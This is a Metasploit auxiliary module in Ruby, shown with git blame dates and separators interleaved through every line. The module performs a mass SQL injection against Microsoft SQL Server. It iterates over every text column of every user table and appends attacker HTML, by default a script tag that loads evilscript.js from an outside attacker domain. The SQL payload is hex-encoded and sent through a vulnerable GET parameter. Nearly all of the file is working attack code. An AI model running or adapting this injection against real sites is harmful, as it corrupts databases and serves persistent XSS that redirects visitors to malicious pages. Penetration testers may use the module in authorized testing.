2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-30 22:24:22 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/http'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::WMAPScanUniqueQuery
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-12-30 22:24:22 +00:00
|
|
|
'Name' => 'HTTP Microsoft SQL Injection Table XSS Infection',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module implements the mass SQL injection attack in
|
2009-12-30 22:24:22 +00:00
|
|
|
use lately by concatenation of HTML string that forces a persistant
|
|
|
|
XSS attack to redirect user browser to a attacker controller website.
|
|
|
|
},
|
|
|
|
'Author' => [ 'et' ],
|
|
|
|
'License' => BSD_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Version' => '$Revision$'))
|
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [ true, "The path/file to identify backups", '/index.asp']),
|
|
|
|
OptString.new('QUERY', [ true, "HTTP URI Query", 'p1=v1&p2=v2&p3=v3']),
|
|
|
|
OptString.new('VULN_PAR', [ true, "Vulnerable parameter name", 'p1']),
|
|
|
|
OptBool.new('TEXT_INT_INJECTION', [ true, "Perform string injection", false]),
|
|
|
|
OptBool.new('COMMENTED', [ true, "Comment end of query", true]),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptString.new('EVIL_HTML', [ true, "Evil HTML to add to tables", '<script src=http://browser-autopwn.com/evilscript.js></script>']),
|
|
|
|
], self.class)
|
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def wmap_enabled
|
|
|
|
false
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
def run_host(ip)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
# Weird to indent for practical reasons.
|
|
|
|
infstr = <<-EOF
|
2009-12-30 22:24:22 +00:00
|
|
|
DECLARE @T varchar(255),@C varchar(255)
|
2010-09-20 08:06:27 +00:00
|
|
|
DECLARE Table_Cursor CURSOR FOR
|
|
|
|
select a.name,b.name from sysobjects a,syscolumns b
|
|
|
|
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
|
|
|
|
OPEN Table_Cursor
|
|
|
|
FETCH NEXT FROM Table_Cursor INTO @T,@C
|
|
|
|
WHILE(@@FETCH_STATUS=0)
|
|
|
|
BEGIN
|
|
|
|
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''#{datastore['EVIL_HTML']}''')
|
|
|
|
FETCH NEXT FROM Table_Cursor INTO @T,@C
|
|
|
|
END
|
|
|
|
CLOSE Table_Cursor
|
|
|
|
DEALLOCATE Table_Cursor
|
|
|
|
EOF
|
|
|
|
|
|
|
|
infstr.gsub!(/(\t|\n|\r)/,"")
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
prestr = ";DECLARE @S NVARCHAR(4000);SET @S=CAST("
|
|
|
|
poststr = " AS NVARCHAR(4000));EXEC(@S);"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
gvars = queryparse(datastore['QUERY']) #Now its a Hash
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
if gvars.has_key?(datastore['VULN_PAR'])
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-05-05 20:03:47 +00:00
|
|
|
prestr = datastore['TEXT_INT_INJECTION'] ? "\'#{prestr}" : ''
|
|
|
|
poststr = datastore['COMMENTED'] ? "#{poststr}--" : ''
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
attstr = ""
|
|
|
|
infstr.unpack("C*").collect! { |i| attstr += i.to_s(base=16).upcase+"00" }
|
2009-12-30 22:24:22 +00:00
|
|
|
gvars[datastore['VULN_PAR']] += prestr + "0x"+attstr + poststr
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Error: Vulnerable parameter is not part of the supplied query string.")
|
2009-12-30 22:24:22 +00:00
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
begin
|
|
|
|
normalres = send_request_cgi({
|
|
|
|
'uri' => datastore['URI'],
|
2010-04-30 08:40:19 +00:00
|
|
|
'vars_get' => gvars,
|
2009-12-30 22:24:22 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/plain'
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionError
|
2010-04-30 08:40:19 +00:00
|
|
|
rescue ::Errno::EPIPE
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
print_status("Request sent.")
|
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|